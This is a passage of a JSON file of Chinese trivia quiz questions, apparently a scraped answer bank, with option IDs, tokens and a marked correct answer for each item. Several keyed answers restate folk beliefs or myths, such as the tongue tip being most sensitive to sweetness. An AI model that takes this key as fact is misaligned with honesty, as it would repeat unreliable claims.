16:49:19","update_time":"2/2/2021 16:49:19","status":"1"},{"questionId":"8701437773","questionIndex":"5","questionStem":"著名风景区九寨沟位于中国哪个省?","options":"[{\"optionId\":\"I8MSx0BQiDmEnpw5qe8WheluVLcMZ0TSNoE\",\"optionDesc\":\"四川\"},{\"optionId\":\"I8MSx0BQiDmEnpw5qe8WhuVN4dbiVoEToIY\",\"optionDesc\":\"云南\"},{\"optionId\":\"I8MSx0BQiDmEnpw5qe8Why3wkwZqt5vjnKw\",\"optionDesc\":\"重庆\"}]","questionToken":"I8MSx0BQiDmEnpxvuqcN0HrE0iSHY-pvRHK5r-FM0mDrpMIAjDuaIKdgQDMlPD7Dzd3lKIfHw29JlMDsgo8xiT_lC_Yt_g","correct":"{\"optionId\":\"I8MSx0BQiDmEnpw5qe8WheluVLcMZ0TSNoE\",\"optionDesc\":\"四川\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"8701437774","questionIndex":"4","questionStem":"“珍珠”主要是从什么生物生产的?","options":"[{\"optionId\":\"I8MSx0BQiDmEmZw5qe8WhW7N8atkJjX0_6zYGA\",\"optionDesc\":\"牡蛎\"},{\"optionId\":\"I8MSx0BQiDmEmZw5qe8WhueSopUjQVCPl4miVA\",\"optionDesc\":\"扇贝\"},{\"optionId\":\"I8MSx0BQiDmEmZw5qe8Wh9zQpBei5kBxPAMeXA\",\"optionDesc\":\"海葵\"}]","questionToken":"I8MSx0BQiDmEmZxuuqcN12-AqpvR3icVcoHRZc1KHng0_i6Xvk462tUnREIlHoFJcFBBSozLX66g6q68kVNoRZ4Oy9dquQ","correct":"{\"optionId\":\"I8MSx0BQiDmEmZw5qe8WhW7N8atkJjX0_6zYGA\",\"optionDesc\":\"牡蛎\"}","create_time":"2/2/2021 16:48:01","update_time":"2/2/2021 16:48:01","status":"1"},{"questionId":"8701437775","questionIndex":"1","questionStem":"不属于丈夫对妻子雅称的是哪一个?","options":"[{\"optionId\":\"I8MSx0BQiDmEmJw5qe8WhbxJT23042hQN9I\",\"optionDesc\":\"所天\"},{\"optionId\":\"I8MSx0BQiDmEmJw5qe8Wh1j0Yvxn1Nh5DkE\",\"optionDesc\":\"拙荆\"},{\"optionId\":\"I8MSx0BQiDmEmJw5qe8Whu7euPzKVabkku8\",\"optionDesc\":\"内人\"}]","questionToken":"I8MSx0BQiDmEmJxruqcN0MxLwrF1ot_BeChXZ3I5sr-LlHrFqCfz3hw4wfoJzw60wihSEeCxpQe86Kx39hGdkZde5ZtWVA","correct":"{\"optionId\":\"I8MSx0BQiDmEmJw5qe8WhbxJT23042hQN9I\",\"optionDesc\":\"所天\"}","create_time":"2/2/2021 16:47:53","update_time":"2/2/2021 16:47:53","status":"1"},{"questionId":"8701437776","questionIndex":"3","questionStem":"古人所称的汤饼即现在的什么食物?","options":"[{\"optionId\":\"I8MSx0BQiDmEm5w5qe8WhnaacJ6w9-8t6Aa80w\",\"optionDesc\":\"馒头\"},{\"optionId\":\"I8MSx0BQiDmEm5w5qe8WhU1QL9jL3cppStrT5Q\",\"optionDesc\":\"面条\"},{\"optionId\":\"I8MSx0BQiDmEm5w5qe8Wh4Guhgdmx0oafX_rnw\",\"optionDesc\":\"面饼\"}]","questionToken":"I8MSx0BQiDmEm5xpuqcN11LvHueNRPE_NzKAQJHylLHn2NLfGtM_jxOAWOIoQjMvlCc2Ayl7HacmCuyY01E7fBTy0wCDcA","correct":"{\"optionId\":\"I8MSx0BQiDmEm5w5qe8WhU1QL9jL3cppStrT5Q\",\"optionDesc\":\"面条\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"8701437777","questionIndex":"4","questionStem":"在糖水中加少量盐,尝起来会怎样?","options":"[{\"optionId\":\"I8MSx0BQiDmEmpw5qe8WhfIIWwo5qAkj5w\",\"optionDesc\":\"更甜\"},{\"optionId\":\"I8MSx0BQiDmEmpw5qe8WhvnrD_uibqKgsw\",\"optionDesc\":\"变咸\"},{\"optionId\":\"I8MSx0BQiDmEmpw5qe8Wh0mgDGObJEVIxw\",\"optionDesc\":\"变苦\"}]","questionToken":"I8MSx0BQiDmEmpxuuqcN16sfmCMz57tvB7EYI148vEFd3WudpFTk50EdbNO8SZHpD_DfEHAQ0lSUBmVLouk-xZfuQmVHdg","correct":"{\"optionId\":\"I8MSx0BQiDmEmpw5qe8WhfIIWwo5qAkj5w\",\"optionDesc\":\"更甜\"}","create_time":"2/2/2021 16:47:42","update_time":"2/2/2021 16:47:42","status":"1"},{"questionId":"8701437778","questionIndex":"4","questionStem":"墨鱼在水中游泳的方向是什么方向?","options":"[{\"optionId\":\"I8MSx0BQiDmElZw5qe8WhUKB95R3VXAy256J\",\"optionDesc\":\"向后\"},{\"optionId\":\"I8MSx0BQiDmElZw5qe8WhjHSQm57dFcCvK-S\",\"optionDesc\":\"向前\"},{\"optionId\":\"I8MSx0BQiDmElZw5qe8Wh6-TEqZjgihtesEd\",\"optionDesc\":\"向左\"}]","questionToken":"I8MSx0BQiDmElZxuuqcN0Bsw7heIENiS_8GEv1o_1Bk4VcSFvWwqD2ctqeXtkpzvQeoy2all03URqA8kdiYxRV8Secznjg","correct":"{\"optionId\":\"I8MSx0BQiDmElZw5qe8WhUKB95R3VXAy256J\",\"optionDesc\":\"向后\"}","create_time":"2/2/2021 16:48:00","update_time":"2/2/2021 16:48:00","status":"1"},{"questionId":"8701437805","questionIndex":"5","questionStem":"动画《银魂》中Hata王子来自哪个星球?","options":"[{\"optionId\":\"I8MSx0BQiDYWGJXJ6L1neipJGdLKK1TcxDPdog\",\"optionDesc\":\"多古拉星\"},{\"optionId\":\"I8MSx0BQiDYWGJXJ6L1neNw8N8LH6h5aMfb4xA\",\"optionDesc\":\"央国星\"},{\"optionId\":\"I8MSx0BQiDYWGJXJ6L1ne7FW1diGlCKzFn2-1w\",\"optionDesc\":\"翠星\"}]","questionToken":"I8MSx0BQiDYWGJWf-_V8KsiBSN3gq475C9Rv9nxT_Vdh0pOEhJUK6aijsX4SlhRm1hdtY73YPbFt7JuKCCTxfCE2rvqhNA","correct":"{\"optionId\":\"I8MSx0BQiDYWGJXJ6L1neNw8N8LH6h5aMfb4xA\",\"optionDesc\":\"央国星\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"8701437806","questionIndex":"4","questionStem":"动画《海贼王》从哪一年开播的?","options":"[{\"optionId\":\"I8MSx0BQiDYWG5XJ6L1nenxfc627VuEGJwM\",\"optionDesc\":\"1998年\"},{\"optionId\":\"I8MSx0BQiDYWG5XJ6L1neDfGHLO3HFXo1zw\",\"optionDesc\":\"1999年\"},{\"optionId\":\"I8MSx0BQiDYWG5XJ6L1ne9g15laiX8eWp2E\",\"optionDesc\":\"2001年\"}]","questionToken":"I8MSx0BQiDYWG5We-_V8LRjV7_l_W_MzprLCaOpXz4Zwv4Z1aYIgsJDelOBlPIbd0MGoe_2EtyD5LoYEYCp7ZK7WkAjKqA","correct":"{\"optionId\":\"I8MSx0BQiDYWG5XJ6L1neDfGHLO3HFXo1zw\",\"optionDesc\":\"1999年\"}","create_time":"2/2/2021 16:48:29","update_time":"2/2/2021 16:48:29","status":"1"},{"questionId":"8701437807","questionIndex":"4","questionStem":"黑猫警长每集打四枪出现四个字是?","options":"[{\"optionId\":\"I8MSx0BQiDYWGpXJ6L1ne1sCnFp8_Lb7TebxHw\",\"optionDesc\":\"保卫人民\"},{\"optionId\":\"I8MSx0BQiDYWGpXJ6L1neh1dozd7erMRncf4_Q\",\"optionDesc\":\"惩奸除恶\"},{\"optionId\":\"I8MSx0BQiDYWGpXJ6L1neNkYzLw6SwLmsepDQQ\",\"optionDesc\":\"请看下集\"}]","questionToken":"I8MSx0BQiDYWGpWe-_V8KvRkcbkWShEMyO1si7EGemkPsa6FAMsDyUL1DT9lvgPvCtod7X0uW5Z4cZ9_c8_0oechJpmcNg","correct":"{\"optionId\":\"I8MSx0BQiDYWGpXJ6L1neNkYzLw6SwLmsepDQQ\",\"optionDesc\":\"请看下集\"}","create_time":"2/2/2021 16:47:42","update_time":"2/2/2021 16:47:42","status":"1"},{"questionId":"8701437808","questionIndex":"5","questionStem":"《鬼灭之刃》的主角叫什么?","options":"[{\"optionId\":\"I8MSx0BQiDYWFZXJ6L1negM7qG-dL3pPJJLMFw\",\"optionDesc\":\"小楠\"},{\"optionId\":\"I8MSx0BQiDYWFZXJ6L1ne2MQN7OLFMwgPLvqrA\",\"optionDesc\":\"琪琪子\"},{\"optionId\":\"I8MSx0BQiDYWFZXJ6L1nePQ4dQDeVqXywq-zfg\",\"optionDesc\":\"炭治郎\"}]","questionToken":"I8MSx0BQiDYWFZWf-_V8LapfoHX0MOToEwNQfY6k8yOtylYOZrSxewGT203PoakVwot5h6xHvZOUQUm4hMFwigEGINx-dw","correct":"{\"optionId\":\"I8MSx0BQiDYWFZXJ6L1nePQ4dQDeVqXywq-zfg\",\"optionDesc\":\"炭治郎\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"8801427246","questionIndex":"3","questionStem":"人舌头的哪个部位对甜味最敏感?","options":"[{\"optionId\":\"I8wSx0BRiDylPUyioN9ay04kX6RMzFonNgc\",\"optionDesc\":\"舌尖\"},{\"optionId\":\"I8wSx0BRiDylPUyioN9ayco87N2zpRpMdIQ\",\"optionDesc\":\"舌中间\"},{\"optionId\":\"I8wSx0BRiDylPUyioN9ayElcrSTA7KX-iRU\",\"optionDesc\":\"舌两侧\"}]","questionToken":"I8wSx0BRiDylPUzys5dBnryc_bLW_Kp6av-pcNF5HfQ7B_qEkutyekOt865-OKXh4Z9RGQVDNKEVL3iTY1DoC5vChMr8GA","correct":"{\"optionId\":\"I8wSx0BRiDylPUyioN9ay04kX6RMzFonNgc\",\"optionDesc\":\"舌尖\"}","create_time":"27/1/2021 04:49:13","update_time":"27/1/2021 04:49:13","status":"1"},{"questionId":"8801427247","questionIndex":"3","questionStem":"感冒忌吃下列哪一种食物?","options":"[{\"optionId\":\"I8wSx0BRiDylPEyioN9ayMFzACuerqzQ08XnwQ\",\"optionDesc\":\"生姜\"},{\"optionId\":\"I8wSx0BRiDylPEyioN9ayfEiR8oYqK_znAqZDg\",\"optionDesc\":\"豆浆\"},{\"optionId\":\"I8wSx0BRiDylPEyioN9ayxiBlSeYXQ1oFn8JPQ\",\"optionDesc\":\"海鱼\"}]","questionToken":"I8wSx0BRiDylPEzys5dBmbZ1XAgE7aFC3LTMkfWuc5WE_3DNnYB2snyrspMqziigksjnGPYR9eAVKVjonNw9zQdOAetJSg","correct":"{\"optionId\":\"I8wSx0BRiDylPEyioN9ayxiBlSeYXQ1oFn8JPQ\",\"optionDesc\":\"海鱼\"}","create_time":"27/1/2021 04:26:02","update_time":"27/1/2021 04:26:02","status":"1"},{"questionId":"8801427248","questionIndex":"2","questionStem":"通常所说的“生命中枢”是指?","options":"[{\"optionId\":\"I8wSx0BRiDylM0yioN9ay4t_YescFZVdWhCP\",\"optionDesc\":\"延脑\"},{\"optionId\":\"I8wSx0BRiDylM0yioN9ayWCnHR7fYC9KbAJT\",\"optionDesc\":\"下丘脑\"},{\"optionId\":\"I8wSx0BRiDylM0yioN9ayCbrzHLhMNlCWVVk\",\"optionDesc\":\"中脑\"}]","questionToken":"I8wSx0BRiDylM0zzs5dBntKpg0eTl-A2GlLLHbEffQ1WhkdHNKkMc5qooyYP3QtZGC2fvPbbo-20rewUMtNNfSczsXFllg","correct":"{\"optionId\":\"I8wSx0BRiDylM0yioN9ay4t_YescFZVdWhCP\",\"optionDesc\":\"延脑\"}","create_time":"27/1/2021 04:43:50","update_time":"27/1/2021 04:43:50","status":"1"},{"questionId":"8801427249","questionIndex":"2","questionStem":"数学符号中的“0”起源于?","options":"[{\"optionId\":\"I8wSx0BRiDylMkyioN9ay5Ckgoa_rGX4f_M\",\"optionDesc\":\"古印度\"},{\"optionId\":\"I8wSx0BRiDylMkyioN9ayQsgh1pXa_uyXKs\",\"optionDesc\":\"古罗马\"},{\"optionId\":\"I8wSx0BRiDylMkyioN9ayNVkOZfJLwEoOJ8\",\"optionDesc\":\"古希腊\"}]","questionToken":"I8wSx0BRiDylMkzzs5dBnsJtKysoMenCpwhYtcMeSXsYcTGTRLKz2HoV_rAcWgP6CbqujlaXafntiSnxangWhH4xWEns0A","correct":"{\"optionId\":\"I8wSx0BRiDylMkyioN9ay5Ckgoa_rGX4f_M\",\"optionDesc\":\"古印度\"}","create_time":"27/1/2021 04:48:34","update_time":"27/1/2021 04:48:34","status":"1"},{"questionId":"8801427254","questionIndex":"4","questionStem":"牛的“年轮”长在哪里?","options":"[{\"optionId\":\"I8wSx0BRiDykP0yioN9ayW8sb1EnwLu4Dcsa\",\"optionDesc\":\"牛角上\"},{\"optionId\":\"I8wSx0BRiDykP0yioN9ay3E-mdNnOs-BCUsg\",\"optionDesc\":\"牙齿上\"},{\"optionId\":\"I8wSx0BRiDykP0yioN9ayARgSh-5eLZEOSq-\",\"optionDesc\":\"牛蹄上\"}]","questionToken":"I8wSx0BRiDykP0z1s5dBmXbJ6o7-nqaqYHwCBR3kpUv39J7z3AEuss1bYbWfkieO2FdrdarYa8WEJGAU7Qg4sQJ0ZHya4w","correct":"{\"optionId\":\"I8wSx0BRiDykP0yioN9ay3E-mdNnOs-BCUsg\",\"optionDesc\":\"牙齿上\"}","create_time":"27/1/2021 04:40:03","update_time":"27/1/2021 04:40:03","status":"1"},{"questionId":"8801427255","questionIndex":"5","questionStem":"下列哪种鸟会 “反哺”?","options":"[{\"optionId\":\"I8wSx0BRiDykPkyioN9ay-virBNkRB0K4sg\",\"optionDesc\":\"乌鸦\"},{\"optionId\":\"I8wSx0BRiDykPkyioN9ayGNRtIoWiJS9Mlg\",\"optionDesc\":\"燕子\"},{\"optionId\":\"I8wSx0BRiDykPkyioN9ayUTESin2S3go8MI\",\"optionDesc\":\"喜鹊\"}]","questionToken":"I8wSx0BRiDykPkz0s5dBmay_zv2jk1mVGEXJjCv5F8hrTwvrV8YQcYIe8WBioJvGDYYWeEGccxiqGvuRD4E8sNaHihv3tw","correct":"{\"optionId\":\"I8wSx0BRiDykPkyioN9ay-virBNkRB0K4sg\",\"optionDesc\":\"乌鸦\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"8801427256","questionIndex":"3","questionStem":"哪一种动物是“唯一能参加奥运会的动物”?","options":"[{\"optionId\":\"I8wSx0BRiDykPUyioN9ayU6vMt8OB65FIrrT\",\"optionDesc\":\"河马\"},{\"optionId\":\"I8wSx0BRiDykPUyioN9ayKY2OdcYaEYqmubP\",\"optionDesc\":\"猩猩\"},{\"optionId\":\"I8wSx0BRiDykPUyioN9ay6qDzR1alO-y_ul9\",\"optionDesc\":\"马\"}]","questionToken":"I8wSx0BRiDykPUzys5dBnksKupMPx3qtMl0N4f0v6dgpiauMBltewHbT_yiiBLKFDGHhzPUmLwzA643M3d011XtrX6Gv_g","correct":"{\"optionId\":\"I8wSx0BRiDykPUyioN9ay6qDzR1alO-y_ul9\",\"optionDesc\":\"马\"}","create_time":"27/1/2021 04:50:18","update_time":"27/1/2021 04:50:18","status":"1"},{"questionId":"8801427257","questionIndex":"5","questionStem":"吃虫最多的动物是?","options":"[{\"optionId\":\"I8wSx0BRiDykPEyioN9aybRnB45JfEeRDAC2\",\"optionDesc\":\"鸡\"},{\"optionId\":\"I8wSx0BRiDykPEyioN9ay2j_rNCS_H2WXEjd\",\"optionDesc\":\"蝙蝠\"},{\"optionId\":\"I8wSx0BRiDykPEyioN9ayNrHBeNdUQ655hnk\",\"optionDesc\":\"啄木鸟\"}]","questionToken":"I8wSx0BRiDykPEz0s5dBnsIFAkM_SPtsHyxmVea00IHXfVPsfn8u5FtvlG5Dl-TZqxEzuo2eh9tn_frtjjyZgwJOPkYWcA","correct":"{\"optionId\":\"I8wSx0BRiDykPEyioN9ay2j_rNCS_H2WXEjd\",\"optionDesc\":\"蝙蝠\"}","create_time":"27/1/2021 04:35:41","update_time":"27/1/2021 04:35:41","status":"1"},{"questionId":"8801427258","questionIndex":"1","questionStem":"最大的两栖动物是?","options":"[{\"optionId\":\"I8wSx0BRiDykM0yioN9ay9VKZhIFRJdUl6I6\",\"optionDesc\":\"娃娃鱼\"},{\"optionId\":\"I8wSx0BRiDykM0yioN9ayBeHUVxzymOpZiZO\",\"optionDesc\":\"蟾蜍\"},{\"optionId\":\"I8wSx0BRiDykM0yioN9aybJatm0M-qsg8N1M\",\"optionDesc\":\"角怪\"}]","questionToken":"I8wSx0BRiDykM0zws5dBnnSu9BIM4lEsXFFGnN8ULb00J8Y_WPuk0J3zzn-8w7uHZB3eQykyVjJyY7CXC3I_V6Nkpcr1_g","correct":"{\"optionId\":\"I8wSx0BRiDykM0yioN9ay9VKZhIFRJdUl6I6\",\"optionDesc\":\"娃娃鱼\"}","create_time":"27/1/2021 04:37:23","update_time":"27/1/2021 04:37:23","status":"1"},{"questionId":"8801427259","questionIndex":"2","questionStem":"下列动物中不能够眨眼的动物是?","options":"[{\"optionId\":\"I8wSx0BRiDykMkyioN9aycOaueYIpEDLSJym\",\"optionDesc\":\"青蛙\"},{\"optionId\":\"I8wSx0BRiDykMkyioN9ayK2LfhfFOl9puW7U\",\"optionDesc\":\"蜥蜴\"},{\"optionId\":\"I8wSx0BRiDykMkyioN9ayx0N1dDMCnGVJLIR\",\"optionDesc\":\"蛇\"}]","questionToken":"I8wSx0BRiDykMkzzs5dBnq7bp6s-JE0eMf9JA_g01xV18--PCivfmHePvjzVRyIwvjyOS9ex2vEYXJ1d3J8U92hMj7ERHg","correct":"{\"optionId\":\"I8wSx0BRiDykMkyioN9ayx0N1dDMCnGVJLIR\",\"optionDesc\":\"蛇\"}","create_time":"27/1/2021 04:38:23","update_time":"27/1/2021 04:38:23","status":"1"},{"questionId":"8801427262","questionIndex":"4","questionStem":"下列哪种动物不属于哺乳动物?","options":"[{\"optionId\":\"I8wSx0BRiDynOUyioN9ay2aO--eEY31LpXjzvQ\",\"optionDesc\":\"海龟\"},{\"optionId\":\"I8wSx0BRiDynOUyioN9ayJ6n-N6t-lfZx2AZRw\",\"optionDesc\":\"鲸\"},{\"optionId\":\"I8wSx0BRiDynOUyioN9ayfUS2hC4iaEPkEPGuA\",\"optionDesc\":\"袋鼠\"}]","questionToken":"I8wSx0BRiDynOUz1s5dBmQyqQ-bGYy2mvF-3nf_2eN5GR3Yr82LKMRETSqPc2Gtmu13d1pHV-P1q2F5421Lm5W4z6NpdFQ","correct":"{\"optionId\":\"I8wSx0BRiDynOUyioN9ay2aO--eEY31LpXjzvQ\",\"optionDesc\":\"海龟\"}","create_time":"27/1/2021 04:39:30","update_time":"27/1/2021 04:39:30","status":"1"},{"questionId":"8801427271","questionIndex":"5","questionStem":"蜗牛头上前面的一对“角”主要有什么作用?","options":"[{\"optionId\":\"I8wSx0BRiDymOkyioN9ayb2OjwQwragQjzU\",\"optionDesc\":\"捕食\"},{\"optionId\":\"I8wSx0BRiDymOkyioN9ayERMr72xsWgTxyc\",\"optionDesc\":\"爬行\"},{\"optionId\":\"I8wSx0BRiDymOkyioN9ayxNjy6yrysYly0Y\",\"optionDesc\":\"探路\"}]","questionToken":"I8wSx0BRiDymOkz0s5dBmXhryIxD07Bfb_PznrJm5SEqxNVgyEj5ussQzf-vmhhe2fA3YSxCkQoP5YsctJ2Jl-fhtY0ytQ","correct":"{\"optionId\":\"I8wSx0BRiDymOkyioN9ayxNjy6yrysYly0Y\",\"optionDesc\":\"探路\"}","create_time":"27/1/2021 04:38:36","update_time":"27/1/2021 04:38:36","status":"1"},{"questionId":"8801427272","questionIndex":"3","questionStem":"洗衣服时,用什么浸泡后再洗,不易掉色?","options":"[{\"optionId\":\"I8wSx0BRiDymOUyioN9ayTUTp5XZePxMRDwx\",\"optionDesc\":\"50%的盐水\"},{\"optionId\":\"I8wSx0BRiDymOUyioN9ay92yjhf-4AhErA-H\",\"optionDesc\":\"5%的盐水\"},{\"optionId\":\"I8wSx0BRiDymOUyioN9ayDqZfAkMRyXoUB_8\",\"optionDesc\":\"醋\"}]","questionToken":"I8wSx0BRiDymOUzys5dBmRkDCj5MBIhnfMURbZXAAs2TxKu6F5jE6jcLLBnK4OJkNF8zQZCamhRP97CCVSvZkromV2DLsQ","correct":"{\"optionId\":\"I8wSx0BRiDymOUyioN9ay92yjhf-4AhErA-H\",\"optionDesc\":\"5%的盐水\"}","create_time":"27/1/2021 04:33:44","update_time":"27/1/2021 04:33:44","status":"1"},{"questionId":"8801427814","questionIndex":"4","questionStem":"下列地点与电影奖搭配不正确的是?","options":"[{\"optionId\":\"I8wSx0BRiDah3PEWIb77q1f1SbtbI51Pbb8\",\"optionDesc\":\"洛杉矶一奥斯卡\"},{\"optionId\":\"I8wSx0BRiDah3PEWIb77qbBLBfdOAMTIxAc\",\"optionDesc\":\"柏林一圣马克金狮\"},{\"optionId\":\"I8wSx0BRiDah3PEWIb77qv1m4yruABQOxqs\",\"optionDesc\":\"戛纳一金棕榈\"}]","questionToken":"I8wSx0BRiDah3PFBMvbg_GqzQeH0zWjrzU7AZlgGnnkcfGtf-sRWsMI71zbdPun-JLCrm5eiPWEc5-0ghnijxc_Ek8xHlA","correct":"{\"optionId\":\"I8wSx0BRiDah3PEWIb77qbBLBfdOAMTIxAc\",\"optionDesc\":\"柏林一圣马克金狮\"}","create_time":"27/1/2021 04:48:42","update_time":"27/1/2021 04:48:42","status":"1"},{"questionId":"8801427815","questionIndex":"1","questionStem":"下半旗是把旗子下降到?","options":"[{\"optionId\":\"I8wSx0BRiDah3fEWIb77q5R_EbY6MQuqnlNSIQ\",\"optionDesc\":\"旗杆的一半处 \"},{\"optionId\":\"I8wSx0BRiDah3fEWIb77qt3h4GyJ4D-bAZTsog\",\"optionDesc\":\"下降1米\"},{\"optionId\":\"I8wSx0BRiDah3fEWIb77qXjM4AjD2qFfyxXsJA\",\"optionDesc\":\"距离杆顶的1/3处\"}]","questionToken":"I8wSx0BRiDah3fFEMvbg-4Akrl8Y7Y2Vn5KbMhZQXGGDljXtiyklfE8UjuYOpVp_sTAIsUj64GzugilpLSwZxFSegxdc4g","correct":"{\"optionId\":\"I8wSx0BRiDah3fEWIb77qXjM4AjD2qFfyxXsJA\",\"optionDesc\":\"距离杆顶的1/3处\"}","create_time":"27/1/2021 04:03:32","update_time":"27/1/2021 04:03:32","status":"1"},{"questionId":"8801427816","questionIndex":"2","questionStem":"人体最大的解毒器宫是?","options":"[{\"optionId\":\"I8wSx0BRiDah3vEWIb77qmTbhUyh0tyyYghWTg\",\"optionDesc\":\"肾脏\"},{\"optionId\":\"I8wSx0BRiDah3vEWIb77qaUdtaNn3wVBCtCcBg\",\"optionDesc\":\"肝脏\"},{\"optionId\":\"I8wSx0BRiDah3vEWIb77qzlQmbxS0UH1dyQa2A\",\"optionDesc\":\"脾\"}]","questionToken":"I8wSx0BRiDah3vFHMvbg_KucPFYTCpDJBrg3EGbrVcFwOMtOYKbT3MijDpTjMil5ZIzj6d6sPXeUFi_KPgKMm8EThEpmEw","correct":"{\"optionId\":\"I8wSx0BRiDah3vEWIb77qaUdtaNn3wVBCtCcBg\",\"optionDesc\":\"肝脏\"}","create_time":"27/1/2021 04:56:16","update_time":"27/1/2021 04:56:16","status":"1"},{"questionId":"8801428716","questionIndex":"3","questionStem":"满汉全席兴起于?","options":"[{\"optionId\":\"I8wSx0BRhzmQEsEb572V6wOiUtNM6XwzvNbS\",\"optionDesc\":\"宋代\"},{\"optionId\":\"I8wSx0BRhzmQEsEb572V6kQUBPn2786MW5hg\",\"optionDesc\":\"唐代\"},{\"optionId\":\"I8wSx0BRhzmQEsEb572V6R9gDtJXtEmQKZf6\",\"optionDesc\":\"清代\"}]","questionToken":"I8wSx0BRhzmQEsFL9PWOu4ClnkjCse9iADf5unkb1uZLyYjMMVOzEdbvx_jtwTIunxPL-9Sb0Kccq_-QczDIpi_gize7Ww","correct":"{\"optionId\":\"I8wSx0BRhzmQEsEb572V6R9gDtJXtEmQKZf6\",\"optionDesc\":\"清代\"}","create_time":"27/1/2021 04:36:08","update_time":"27/1/2021 04:36:08","status":"1"},{"questionId":"8801428717","questionIndex":"5","questionStem":"动物细胞中的“能量转换器”是?","options":"[{\"optionId\":\"I8wSx0BRhzmQE8Eb572V6-MeR0R1g5Q85ZB2Cg\",\"optionDesc\":\"染色体\"},{\"optionId\":\"I8wSx0BRhzmQE8Eb572V6YWzKRhs7OnxbZRrQA\",\"optionDesc\":\"线粒体\"},{\"optionId\":\"I8wSx0BRhzmQE8Eb572V6k6e9hMDSMddy99BRA\",\"optionDesc\":\"叶绿体\"}]","questionToken":"I8wSx0BRhzmQE8FN9PWOuxpBvKbbbshXLUEyFII4uWoJBXZF8jJprDdDWbnPYQZRwAG2K6oD08a62cguVy3AApKyBjGtdg","correct":"{\"optionId\":\"I8wSx0BRhzmQE8Eb572V6YWzKRhs7OnxbZRrQA\",\"optionDesc\":\"线粒体\"}","create_time":"27/1/2021 04:26:04","update_time":"27/1/2021 04:26:04","status":"1"},{"questionId":"8801428718","questionIndex":"5","questionStem":"世界上最小的鸟是?","options":"[{\"optionId\":\"I8wSx0BRhzmQHMEb572V6RIj0CWtfrzyp-I\",\"optionDesc\":\"蜂鸟\"},{\"optionId\":\"I8wSx0BRhzmQHMEb572V65d5K_deXVIWJJQ\",\"optionDesc\":\"麻雀\"},{\"optionId\":\"I8wSx0BRhzmQHMEb572V6lR6z1aYrMbyqZU\",\"optionDesc\":\"百灵\"}]","questionToken":"I8wSx0BRhzmQHMFN9PWOvEhAlEWsDH5jO20iB6-X67k6RaHM7t92k4TbNbpBSgCdtYpxvPOXx9-aVKilcaa6U3rV9G10Tg","correct":"{\"optionId\":\"I8wSx0BRhzmQHMEb572V6RIj0CWtfrzyp-I\",\"optionDesc\":\"蜂鸟\"}","create_time":"27/1/2021 04:37:02","update_time":"27/1/2021 04:37:02","status":"1"},{"questionId":"8801428720","questionIndex":"4","questionStem":"以下动物中,一般寿命最长的是?","options":"[{\"optionId\":\"I8wSx0BRhzmTFMEb572V6YF1yTacar6Fjh2S\",\"optionDesc\":\"鸵鸟\"},{\"optionId\":\"I8wSx0BRhzmTFMEb572V65XMHkbSzk4kbFEd\",\"optionDesc\":\"企鹅\"},{\"optionId\":\"I8wSx0BRhzmTFMEb572V6u-QMfEUlyGMiviR\",\"optionDesc\":\"鸬鹚\"}]","questionToken":"I8wSx0BRhzmTFMFM9PWOvKcOKT_Y1yncNyr8qPDePM8c6tw5OvpDkHpNR17lsGLTIl0zQTkPpFxIlYjaynPoYpdXyDN-GQ","correct":"{\"optionId\":\"I8wSx0BRhzmTFMEb572V6YF1yTacar6Fjh2S\",\"optionDesc\":\"鸵鸟\"}","create_time":"27/1/2021 04:45:58","update_time":"27/1/2021 04:45:58","status":"1"},{"questionId":"8801428723","questionIndex":"2","questionStem":"蝗虫的“耳朵”长在哪里?","options":"[{\"optionId\":\"I8wSx0BRhzmTF8Eb572V68SFHYGq9np_7Is\",\"optionDesc\":\"头部\"},{\"optionId\":\"I8wSx0BRhzmTF8Eb572V6qcb18tVa13QeAU\",\"optionDesc\":\"翅膀上\"},{\"optionId\":\"I8wSx0BRhzmTF8Eb572V6cin9xMd-RStAhI\",\"optionDesc\":\"腹部\"}]","questionToken":"I8wSx0BRhzmTF8FK9PWOu1aVjs9l7mGo6PpnKuI0gZiiFacxofZ0tlUmcDXjYtRfpYCqGjU1G6hiOBLuY8rDcdDtGeOHqQ","correct":"{\"optionId\":\"I8wSx0BRhzmTF8Eb572V6cin9xMd-RStAhI\",\"optionDesc\":\"腹部\"}","create_time":"27/1/2021 04:39:19","update_time":"27/1/2021 04:39:19","status":"1"},{"questionId":"8801428724","questionIndex":"5","questionStem":"人体分解和代谢酒精的器官是?","options":"[{\"optionId\":\"I8wSx0BRhzmTEMEb572V6wEzlB3Y_b69ORWm\",\"optionDesc\":\"胃\"},{\"optionId\":\"I8wSx0BRhzmTEMEb572V6m9WouTJ9GHdIy8d\",\"optionDesc\":\"脾\"},{\"optionId\":\"I8wSx0BRhzmTEMEb572V6aM-QP7nf1yjYJCD\",\"optionDesc\":\"肝脏\"}]","questionToken":"I8wSx0BRhzmTEMFN9PWOvPFoseLsbpOOEpID7jswQdgrg2tCkFtmxAWccV2tL0H7U7lZcF6-MG8_xLbwSWj5pHI3__9-Vw","correct":"{\"optionId\":\"I8wSx0BRhzmTEMEb572V6aM-QP7nf1yjYJCD\",\"optionDesc\":\"肝脏\"}","create_time":"27/1/2021 04:42:52","update_time":"27/1/2021 04:42:52","status":"1"},{"questionId":"8801428725","questionIndex":"2","questionStem":"“蓬荜生辉”中的“蓬荜”原指房子的?","options":"[{\"optionId\":\"I8wSx0BRhzmTEcEb572V6aYeNCoGma6ltDi70A\",\"optionDesc\":\"门\"},{\"optionId\":\"I8wSx0BRhzmTEcEb572V6uFJKtOB2uW8iIqa3g\",\"optionDesc\":\"窗户\"},{\"optionId\":\"I8wSx0BRhzmTEcEb572V64_YqEg6sBQMzOylfg\",\"optionDesc\":\"房檐\"}]","questionToken":"I8wSx0BRhzmTEcFK9PWOu-ccn0jiZXiacp-iwbgieWRphvY5hx9U7YToCE6VCPCv5CPqlj_dGjEtqY1l8AwfGBm5kXcnsg","correct":"{\"optionId\":\"I8wSx0BRhzmTEcEb572V6aYeNCoGma6ltDi70A\",\"optionDesc\":\"门\"}","create_time":"27/1/2021 04:46:23","update_time":"27/1/2021 